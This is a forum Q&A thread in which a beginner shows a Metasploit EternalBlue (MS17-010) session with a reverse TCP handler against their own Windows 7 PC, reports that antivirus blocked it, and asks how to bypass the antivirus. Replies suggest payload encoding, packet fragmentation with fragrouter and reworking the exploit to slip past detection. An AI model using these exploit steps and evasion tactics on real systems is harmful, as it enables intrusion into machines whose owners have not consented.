0

im pretty new to pentesting and im just about learning using metasploit.

So i setted up my old pc at home ( Windows 7 Professional, x64 architecture ), connected it to my lan and started trying to penetrate it.

At first it was pretty exasperatingly... all the exploits i tried didnt worked. But thats an other topic.

So i went with "Eternalblue/Doublepulsar". This exploit isnt new at all, but it should work with a win7 x64 machine and an specific open port. So i initialized it like this :

msf > use windows/smb/ms17_010_eternalblue
msf exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

Name                Current Setting  Required  Description
----                ---------------  --------  -----------
GroomAllocations    12               yes       Initial number of times to 
groom the kernel pool.
GroomDelta          5                yes       The amount to increase the 
groom count by per try.
MaxExploitAttempts  3                yes       The number of times to retry 
the exploit.
ProcessName         spoolsv.exe      yes       Process to inject payload 
into.
RHOST                                yes       The target address
RPORT               445              yes       The target port (TCP)
SMBDomain           .                no        (Optional) The Windows domain 
to use for authentication
SMBPass                              no        (Optional) The password for 
the specified username
SMBUser                              no        (Optional) The username to 
authenticate as
VerifyArch          true             yes       Check if remote architecture 
matches exploit Target.
VerifyTarget        true             yes       Check if remote OS matches 
exploit Target.


Exploit target:

Id  Name
--  ----
0   Windows 7 and Server 2008 R2 (x64) All Service Packs


msf exploit(windows/smb/ms17_010_eternalblue) > set target 0
target => 0
msf exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.***.0.**
rhost => 192.168.0.17
msf exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.***.0.***
rhost => 192.168.0.176
msf exploit(windows/smb/ms17_010_eternalblue) > set verifyarch false
verifyarch => false
msf exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 192.***.0.**:4444
[*] 192.168.0.176:445 - Connecting to target for exploitation.
[+] 192.168.0.176:445 - Connection established for exploitation.
[+] 192.168.0.176:445 - Target OS selected valid for OS indicated by SMB 
reply
[*] 192.168.0.176:445 - CORE raw buffer dump (42 bytes)
[*] 192.168.0.176:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 
66 65 73  Windows 7 Profes
[*] 192.168.0.176:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 
65 72 76  sional 7601 Serv
[*] 192.168.0.176:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    
ice Pack 1
[+] 192.168.0.176:445 - Target arch selected valid for arch indicated by 
DCE/RPC reply
[*] 192.168.0.176:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.0.176:445 - Sending all but last fragment of exploit packet
[-] 192.168.0.176:445 - RubySMB::Error::CommunicationError: An error occured 
reading from the Socket
[*] Exploit completed, but no session was created.

As you can see the exploit completed but no session was created... thats due to this little thing right here :

enter image description here

For all those who cant speak german, it basically says that it blocked the attack.

I already tried this type of attack with generic/reverse_tcp - windows/x64/meterpreter/reverse_tcp payloads and even a self generated payload which basically also tries to establish a reverse tcp connection ( Its encoded using x64/xor with 20 inumerations ).

None of those have worked... I dont really understand this at all, why cant i bypass the AV on my win8 machine ? Or what do i need to do to bypass it ?

Thanks a lot for your help !:)

  • In general you need to disable the system that is blocking the attack if you want to see that your current exploit works. – camp0 Apr 20 '18 at 12:39
  • @camp0 Yeah, when turning of the anti virus it works seemless.... But how could i turn out the anti virus without having physically acess to the machine ? ^^ – genaray Apr 20 '18 at 12:41
  • Or you could try encoding it – Tryna Learn Somethin Apr 20 '18 at 12:44
  • @TrynaLearnSomethin I encoded it using the msfvenom -e method. Used x64/xor and 20 inumerations. When scanned by virus total, norton was listed as "No Virus"... But somehow it still blocks me :/ – genaray Apr 20 '18 at 12:45
0

Looking at the error message it seems that exploit itself was detected, not the payload. This is bad. So encoding your payload or second stage does not help here. I would suggest to fragment the ip packets with something like fragrouter.

  • Thanks for your answer ! Well ...Now that you mention it... Nevertheless... how exactly do i use fragrouter with an exploit ? Do i just need to simply turn fragrouter on to split the packets ? Or do i also need to modify something specific in metasploit ? :) – genaray Apr 20 '18 at 16:42
  • I should mention that i just tried to fragment the packets using fragrouter... didnt worked. Attack is still blocked :/ – genaray Apr 20 '18 at 20:31
  • Sorry to hear that. It works against some security products, but fails if the product spends the resources to completely reassemble the data stream. It could be that you can rework the exploit so that it still works but goes undetected (maybe intersperse another smb conversation with the attack on the same smb session?). In any case it would be a lot of work. Sometimes security products actually stop you :-( – manduca Apr 20 '18 at 23:39

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.